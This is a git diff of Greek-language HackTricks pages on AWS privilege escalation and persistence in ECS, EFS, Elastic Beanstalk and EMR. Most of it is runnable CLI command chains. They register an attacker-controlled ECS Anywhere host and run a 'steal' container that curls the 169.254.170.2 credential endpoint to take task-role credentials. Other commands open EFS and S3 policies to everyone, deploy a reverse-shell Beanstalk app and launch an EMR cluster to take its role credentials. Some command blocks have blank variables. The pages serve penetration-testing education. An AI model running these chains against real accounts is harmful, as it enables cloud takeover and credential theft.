+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+
+
+ +### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration + +Κακοχρησιμοποίηστε το ECS Anywhere για να καταχωρήσετε έναν host που ελέγχεται από τον επιτιθέμενο ως EXTERNAL container instance σε ένα θύμα ECS cluster και να εκτελέσετε tasks σε αυτόν τον host χρησιμοποιώντας privileged task και execution roles. Αυτό παρέχει έλεγχο σε επίπεδο λειτουργικού συστήματος για το πού εκτελούνται τα tasks (τον δικό σας υπολογιστή) και επιτρέπει κλοπή διαπιστευτηρίων/δεδομένων από tasks και προσαρτημένους όγκους (volumes) χωρίς να πειράξετε capacity providers ή ASGs. + +- Απαιτούμενα δικαιώματα (παράδειγμα ελάχιστο): +- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask +- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) + +- Επίπτωση: Εκτέλεση αυθαίρετων containers με επιλεγμένο taskRoleArn στον host του επιτιθέμενου; εξαγωγή task-role credentials από 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; πρόσβαση σε οποιαδήποτε volumes προσαρτημένα από tasks; πιο διακριτικό από τη χειραγώγηση capacity providers/ASGs. + +Βήματα + +1) Δημιουργία/εντοπισμός cluster (us-east-1) +```bash +aws ecs create-cluster --cluster-name ht-ecs-anywhere +``` +2) Δημιουργία ECS Anywhere role και ενεργοποίηση SSM (για on-prem/EXTERNAL instance) +```bash +aws iam create-role --role-name ecsAnywhereRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role +ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) +ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) +``` +3) Provision του attacker host και αυτόματη καταχώρισή του ως EXTERNAL (παράδειγμα: small AL2 EC2 ως “on‑prem”) + +
+user-data.sh +```bash +#!/bin/bash +set -euxo pipefail +amazon-linux-extras enable docker || true +yum install -y docker curl jq +systemctl enable --now docker +curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" +chmod +x /root/ecs-anywhere-install.sh +/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 +``` +
+```bash +AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) +IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ +--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) +aws ec2 wait instance-status-ok --instance-ids $IID +``` +4) Επαληθεύστε ότι ο EXTERNAL container instance έχει ενταχθεί +```bash +aws ecs list-container-instances --cluster ht-ecs-anywhere +aws ecs describe-container-instances --cluster ht-ecs-anywhere \ +--container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' +# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external +``` +5) Δημιουργήστε task/execution roles, εγγράψτε EXTERNAL task definition και τρέξτε το στον attacker host +```bash +# roles +aws iam create-role --role-name ht-ecs-task-exec \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy +aws iam create-role --role-name ht-ecs-task-role \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +# attach any privileges you want to abuse to this task role + +# task def (EXTERNAL launch) +cat > td-external.json << 'JSON' +{ +"family": "ht-external", +"requiresCompatibilities": [ "EXTERNAL" ], +"networkMode": "bridge", +"memory": "256", +"cpu": "128", +"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec", +"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role", +"containerDefinitions": [ +{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"], +"memory": 128, +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}} +} +] +} +JSON +aws logs create-log-group --log-group-name /ht/ecs/anywhere || true +aws ecs register-task-definition --cli-input-json file://td-external.json +CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text) +aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ +--container-instances $CI +``` +6) Από εδώ έχετε τον έλεγχο του host που τρέχει τα tasks. Μπορείτε να διαβάσετε τα task logs (αν awslogs) ή να κάνετε exec απευθείας στον host για να εξάγετε credentials/δεδομένα από τα tasks σας. + + + +#### Παράδειγμα εντολής (placeholders) + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials. + +Commands (us-east-1): + +- Προαπαιτούμενα + + + +- Create Launch Template for ECS agent to join target cluster + + + +- Create Auto Scaling Group + + + +- Create Capacity Provider from the ASG + + + +- Associate the Capacity Provider to the cluster (optionally as default) + + + +- Migrate a service to your provider + + + +- Verify tasks land on attacker instances + + + +- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. + +- Cleanup + + + +**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md deleted file mode 100644 index f237ec7ae..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - EFS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Περισσότερες **πληροφορίες σχετικά με το EFS** στο: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -Θυμηθείτε ότι για να συνδέσετε ένα EFS πρέπει να βρίσκεστε σε ένα υποδίκτυο όπου το EFS είναι εκτεθειμένο και να έχετε πρόσβαση σε αυτό (ομάδες ασφαλείας). Αν αυτό συμβαίνει, από προεπιλογή, θα μπορείτε πάντα να το συνδέσετε, ωστόσο, αν είναι προστατευμένο από πολιτικές IAM, χρειάζεστε τις επιπλέον άδειες που αναφέρονται εδώ για να έχετε πρόσβαση σε αυτό. - -### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` - -Με οποιαδήποτε από αυτές τις άδειες, ένας επιτιθέμενος μπορεί να **αλλάξει την πολιτική του συστήματος αρχείων** για να **σας δώσει πρόσβαση** σε αυτό, ή απλώς να **το διαγράψει** ώστε να παραχωρηθεί η **προεπιλεγμένη πρόσβαση**. - -Για να διαγράψετε την πολιτική: -```bash -aws efs delete-file-system-policy \ ---file-system-id -``` -Για να το αλλάξετε: -```json -aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json - -// Give everyone trying to mount it read, write and root access -// policy.json: -{ -"Version": "2012-10-17", -"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", -"Statement": [ -{ -"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": [ -"elasticfilesystem:ClientRootAccess", -"elasticfilesystem:ClientWrite", -"elasticfilesystem:ClientMount" -], -"Condition": { -"Bool": { -"elasticfilesystem:AccessedViaMountTarget": "true" -} -} -} -] -} -``` -### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` - -Με αυτή την άδεια, ένας επιτιθέμενος θα είναι σε θέση να **συνδέσει το EFS**. Αν η άδεια εγγραφής δεν παρέχεται από προεπιλογή σε όλους όσους μπορούν να συνδέσουν το EFS, θα έχει μόνο **πρόσβαση ανάγνωσης**. -```bash -sudo mkdir /efs -sudo mount -t efs -o tls,iam :/ /efs/ -``` -Οι επιπλέον άδειες `elasticfilesystem:ClientRootAccess` και `elasticfilesystem:ClientWrite` μπορούν να χρησιμοποιηθούν για να **γράψετε** μέσα στο σύστημα αρχείων αφού έχει προσαρτηθεί και να **έχετε πρόσβαση** σε αυτό το σύστημα αρχείων **ως root**. - -**Πιθανές Επιπτώσεις:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στο σύστημα αρχείων. - -### `elasticfilesystem:CreateMountTarget` - -Αν είστε επιτιθέμενος μέσα σε ένα **υποδίκτυο** όπου **δεν υπάρχει στόχος προσαρτήσεως** του EFS. Μπορείτε απλά να **δημιουργήσετε έναν στο υποδίκτυό σας** με αυτή την άδεια: -```bash -# You need to indicate security groups that will grant the user access to port 2049 -aws efs create-mount-target --file-system-id \ ---subnet-id \ ---security-groups -``` -**Πιθανές Επιπτώσεις:** Έμμεσος privesc εντοπίζοντας ευαίσθητες πληροφορίες στο σύστημα αρχείων. - -### `elasticfilesystem:ModifyMountTargetSecurityGroups` - -Σε ένα σενάριο όπου ένας επιτιθέμενος διαπιστώνει ότι το EFS έχει σημείο προσάρτησης στο υποδίκτυό του αλλά **κανένας κανόνας ασφαλείας δεν επιτρέπει την κίνηση**, θα μπορούσε απλά να **αλλάξει αυτό τροποποιώντας τις επιλεγμένες ομάδες ασφαλείας**: -```bash -aws efs modify-mount-target-security-groups \ ---mount-target-id \ ---security-groups -``` -**Πιθανές Επιπτώσεις:** Έμμεση εκμετάλλευση δικαιωμάτων μέσω της εντοπισμού ευαίσθητων πληροφοριών στο σύστημα αρχείων. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md new file mode 100644 index 000000000..e2715e353 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - EFS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Περισσότερες **πληροφορίες για το EFS** στο: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +Να θυμάστε ότι για να προσαρτήσετε ένα EFS πρέπει να βρίσκεστε σε ένα υποδίκτυο όπου το EFS είναι εκτεθειμένο και να έχετε πρόσβαση σε αυτό (security groups). Εάν συμβαίνει αυτό, από προεπιλογή θα μπορείτε πάντα να το προσαρτήσετε, ωστόσο εάν προστατεύεται από IAM policies χρειάζεστε τα επιπλέον δικαιώματα που αναφέρονται εδώ για να το προσπελάσετε. + +### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` + +Με οποιοδήποτε από αυτά τα δικαιώματα ένας επιτιθέμενος μπορεί να **αλλάξει την πολιτική του συστήματος αρχείων** ώστε να **σας δώσει πρόσβαση** σε αυτό, ή απλώς να την **διαγράψει** ώστε να χορηγηθεί η **προεπιλεγμένη πρόσβαση**. + +Για να διαγράψετε την πολιτική: +```bash +aws efs delete-file-system-policy \ +--file-system-id +``` +Για να το αλλάξετε: +```json +aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json + +// Give everyone trying to mount it read, write and root access +// policy.json: +{ +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] +} +``` +### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` + +Με αυτήν την άδεια ένας επιτιθέμενος θα μπορεί να **mount the EFS**. Αν η write permission δεν δίνεται από προεπιλογή σε όλους που μπορούν να mount the EFS, θα έχει μόνο **read access**. +```bash +sudo mkdir /efs +sudo mount -t efs -o tls,iam :/ /efs/ +``` +Οι επιπλέον άδειες `elasticfilesystem:ClientRootAccess` και `elasticfilesystem:ClientWrite` μπορούν να χρησιμοποιηθούν για να **γράψετε** μέσα στο σύστημα αρχείων αφού έχει προσαρτηθεί και για να **έχετε πρόσβαση** σε αυτό το σύστημα αρχείων **ως root**. + +**Πιθανές Επιπτώσεις:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στο σύστημα αρχείων. + +### `elasticfilesystem:CreateMountTarget` + +Αν ένας attacker βρίσκεται μέσα σε ένα **υποδίκτυο** όπου **δεν υπάρχει mount target** για το EFS, θα μπορούσε απλώς να **δημιουργήσει ένα στο υποδίκτυό του** με αυτό το privilege: +```bash +# You need to indicate security groups that will grant the user access to port 2049 +aws efs create-mount-target --file-system-id \ +--subnet-id \ +--security-groups +``` +**Πιθανός Αντίκτυπος:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στο σύστημα αρχείων. + +### `elasticfilesystem:ModifyMountTargetSecurityGroups` + +Σε ένα σενάριο όπου ένας attacker διαπιστώνει ότι το EFS έχει mount target στο subnetwork του αλλά **καμία security group δεν επιτρέπει την κυκλοφορία**, θα μπορούσε απλά να το **αλλάξει τροποποιώντας τις επιλεγμένες security groups**: +```bash +aws efs modify-mount-target-security-groups \ +--mount-target-id \ +--security-groups +``` +**Πιθανός Αντίκτυπος:** Έμμεση privesc εντοπίζοντας ευαίσθητες πληροφορίες στο σύστημα αρχείων. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index e485e1e37..647dc961e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Elastic Beanstalk Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -Περισσότερες **πληροφορίες σχετικά με το Elastic Beanstalk** στο: +Περισσότερες **πληροφορίες για το Elastic Beanstalk** στο: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Για να εκτελέσετε ευαίσθητες ενέργειες στο Beanstalk, θα χρειαστεί να έχετε **πολλές ευαίσθητες άδειες σε πολλές διαφορετικές υπηρεσίες**. Μπορείτε να ελέγξετε για παράδειγμα τις άδειες που δίνονται σε **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Για να εκτελέσετε ευαίσθητες ενέργειες στο Beanstalk θα χρειαστεί να έχετε **πολλά ευαίσθητα δικαιώματα σε πολλές διαφορετικές υπηρεσίες**. Μπορείτε για παράδειγμα να ελέγξετε τα δικαιώματα που δίνονται στο **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, άδειες εγγραφής S3 & πολλές άλλες +### `elasticbeanstalk:RebuildEnvironment`, S3 δικαιώματα εγγραφής & πολλά άλλα -Με **άδειες εγγραφής πάνω στον κάδο S3** που περιέχει τον **κώδικα** του περιβάλλοντος και άδειες για **ανακατασκευή** της εφαρμογής (απαιτείται `elasticbeanstalk:RebuildEnvironment` και μερικές ακόμη σχετικές με `S3`, `EC2` και `Cloudformation`), μπορείτε να **τροποποιήσετε** τον **κώδικα**, να **ανακατασκευάσετε** την εφαρμογή και την επόμενη φορά που θα αποκτήσετε πρόσβαση στην εφαρμογή, θα **εκτελεί τον νέο σας κώδικα**, επιτρέποντας στον επιτιθέμενο να συμβιβάσει την εφαρμογή και τα διαπιστευτήρια ρόλου IAM της. +Με **δικαιώματα εγγραφής στο S3 bucket** που περιέχει τον **code** του environment και δικαιώματα για να **rebuild** την εφαρμογή (απαιτείται `elasticbeanstalk:RebuildEnvironment` και μερικά ακόμα σχετικά με `S3`, `EC2` και `Cloudformation`), μπορείτε να **modify** τον **code**, να **rebuild** την εφαρμογή και την επόμενη φορά που θα προσπελάσετε την εφαρμογή αυτή θα **execute your new code**, επιτρέποντας στον attacker να compromise την εφαρμογή και τα IAM role credentials της. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -32,23 +32,23 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, και άλλα... -Τα αναφερόμενα καθώς και αρκετές άδειες **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** και **`elasticloadbalancing`** είναι απαραίτητες για να δημιουργήσετε ένα βασικό σενάριο Elastic Beanstalk από την αρχή. +Τα προαναφερόμενα μαζί με αρκετά δικαιώματα **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** και **`elasticloadbalancing`** είναι τα απαραίτητα για να δημιουργήσετε ένα βασικό σενάριο Elastic Beanstalk από το μηδέν. -- Δημιουργία μιας εφαρμογής AWS Elastic Beanstalk: +- Δημιουργήστε μια εφαρμογή AWS Elastic Beanstalk: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- Δημιουργήστε ένα περιβάλλον AWS Elastic Beanstalk ([**υποστηριζόμενες πλατφόρμες**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- Δημιουργήστε ένα περιβάλλον AWS Elastic Beanstalk ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -Αν ένα περιβάλλον έχει ήδη δημιουργηθεί και **δεν θέλετε να δημιουργήσετε ένα νέο**, μπορείτε απλά να **ενημερώσετε** το υπάρχον. +Εάν ένα περιβάλλον έχει ήδη δημιουργηθεί και **δεν θέλετε να δημιουργήσετε ένα νέο**, μπορείτε απλώς να **ενημερώσετε** το υπάρχον. -- Συσκευάστε τον κωδικό της εφαρμογής σας και τις εξαρτήσεις σε ένα αρχείο ZIP: +- Συσκευάστε τον κώδικα της εφαρμογής σας και τις εξαρτήσεις σε ένα αρχείο ZIP: ```python zip -r MyApp.zip . ``` -- Ανεβάστε το αρχείο ZIP σε ένα S3 bucket: +- Ανέβασε το αρχείο ZIP σε ένα S3 bucket: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Πρώτα απ' όλα, πρέπει να δημιουργήσετε ένα **νόμιμο περιβάλλον Beanstalk** με τον **κώδικα** που θα θέλατε να εκτελέσετε στον **θύμα** ακολουθώντας τα **προηγούμενα βήματα**. Πιθανώς ένα απλό **zip** που να περιέχει αυτά τα **2 αρχεία**: +Καταρχάς πρέπει να δημιουργήσετε ένα **legit Beanstalk environment** με τον **code** που θέλετε να τρέξει στον **victim**, ακολουθώντας τα **προηγούμενα βήματα**. Ενδεχομένως ένα απλό **zip** που περιέχει αυτά τα **2 αρχεία**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Μόλις έχετε **το δικό σας περιβάλλον Beanstalk να τρέχει** το rev shell σας, είναι καιρός να **μεταφέρετε** αυτό στο περιβάλλον των **θυμάτων**. Για να το κάνετε αυτό, πρέπει να **ενημερώσετε την Πολιτική Κάδου** του S3 κάδου σας Beanstalk ώστε ο **θύτης να μπορεί να έχει πρόσβαση σε αυτό** (Σημειώστε ότι αυτό θα **ανοίξει** τον Κάδο σε **ΟΛΟΥΣ**): +Μόλις έχετε **your own Beanstalk env running your rev shell**, είναι ώρα να το **migrate** στο **victims env**. Για να το κάνετε αυτό πρέπει να **update the Bucket Policy** του Beanstalk S3 bucket σας ώστε το **victim να μπορεί να αποκτήσει πρόσβαση** (Σημειώστε ότι αυτό θα **open** το Bucket σε **EVERYONE**): ```json { "Version": "2008-10-17", @@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md deleted file mode 100644 index d1f9dca3a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ /dev/null @@ -1,62 +0,0 @@ -# AWS - EMR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EMR - -Περισσότερες **πληροφορίες σχετικά με το EMR** στο: - -{{#ref}} -../aws-services/aws-emr-enum.md -{{#endref}} - -### `iam:PassRole`, `elasticmapreduce:RunJobFlow` - -Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να **τρέξει ένα νέο EMR cluster συνδέοντας ρόλους EC2** και να προσπαθήσει να κλέψει τα διαπιστευτήριά του.\ -Σημειώστε ότι για να το κάνετε αυτό θα χρειαστεί να **γνωρίζετε κάποιο ssh priv key που έχει εισαχθεί στον λογαριασμό** ή να εισάγετε ένα, και να μπορείτε να **ανοίξετε την πόρτα 22 στον κύριο κόμβο** (μπορείτε να το κάνετε αυτό με τα χαρακτηριστικά `EmrManagedMasterSecurityGroup` και/ή `ServiceAccessSecurityGroup` μέσα στο `--ec2-attributes`). -```bash -# Import EC2 ssh key (you will need extra permissions for this) -ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" -chmod 400 /tmp/sshkey -base64 /tmp/sshkey.pub > /tmp/pub.key -aws ec2 import-key-pair \ ---key-name "privesc" \ ---public-key-material file:///tmp/pub.key - - -aws emr create-cluster \ ---release-label emr-5.15.0 \ ---instance-type m4.large \ ---instance-count 1 \ ---service-role EMR_DefaultRole \ ---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc - -# Wait 1min and connect via ssh to an EC2 instance of the cluster) -aws emr describe-cluster --cluster-id -# In MasterPublicDnsName you can find the DNS to connect to the master instance -## You cna also get this info listing EC2 instances -``` -Σημειώστε πώς ένας **ρόλος EMR** καθορίζεται στο `--service-role` και ένας **ρόλος ec2** καθορίζεται στο `--ec2-attributes` μέσα στο `InstanceProfile`. Ωστόσο, αυτή η τεχνική επιτρέπει μόνο την κλοπή των διαπιστευτηρίων ρόλου EC2 (καθώς θα συνδεθείτε μέσω ssh) αλλά όχι του ρόλου EMR IAM. - -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας EC2 που καθορίζεται. - -### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` - -Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να μεταβεί στην **AWS console**, να δημιουργήσει ένα Notebook και να αποκτήσει πρόσβαση σε αυτό για να κλέψει τον ρόλο IAM. - -> [!CAUTION] -> Ακόμα και αν επισυνάψετε έναν ρόλο IAM στην περίπτωση notebook στις δοκιμές μου, παρατήρησα ότι ήμουν σε θέση να κλέψω διαπιστευτήρια που διαχειρίζεται η AWS και όχι διαπιστευτήρια που σχετίζονται με τον ρόλο IAM. - -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο που διαχειρίζεται η AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -### `elasticmapreduce:OpenEditorInConsole` - -Μόνο με αυτή την άδεια, ένας επιτιθέμενος θα είναι σε θέση να αποκτήσει πρόσβαση στο **Jupyter Notebook και να κλέψει τον ρόλο IAM** που σχετίζεται με αυτό.\ -Η διεύθυνση URL του notebook είναι `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` - -> [!CAUTION] -> Ακόμα και αν επισυνάψετε έναν ρόλο IAM στην περίπτωση notebook στις δοκιμές μου, παρατήρησα ότι ήμουν σε θέση να κλέψω διαπιστευτήρια που διαχειρίζεται η AWS και όχι διαπιστευτήρια που σχετίζονται με τον ρόλο IAM. - -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο που διαχειρίζεται η AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md new file mode 100644 index 000000000..209f6030f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md @@ -0,0 +1,62 @@ +# AWS - EMR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EMR + +Περισσότερες **πληροφορίες για EMR** στο: + +{{#ref}} +../../aws-services/aws-emr-enum.md +{{#endref}} + +### `iam:PassRole`, `elasticmapreduce:RunJobFlow` + +Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **τρέξει ένα νέο EMR cluster επισυνάπτοντας EC2 roles** και να προσπαθήσει να κλέψει τα διαπιστευτήριά του.\ +Σημειώστε ότι για να το κάνετε αυτό θα χρειαστεί να **γνωρίζετε κάποιο ssh priv key που έχει εισαχθεί στον λογαριασμό** ή να εισάγετε ένα, και να μπορείτε να **ανοίξετε το port 22 στον master node** (μπορεί να καταφέρετε να το κάνετε αυτό με τα attributes `EmrManagedMasterSecurityGroup` και/ή `ServiceAccessSecurityGroup` μέσα στο `--ec2-attributes`). +```bash +# Import EC2 ssh key (you will need extra permissions for this) +ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" +chmod 400 /tmp/sshkey +base64 /tmp/sshkey.pub > /tmp/pub.key +aws ec2 import-key-pair \ +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key + + +aws emr create-cluster \ +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes 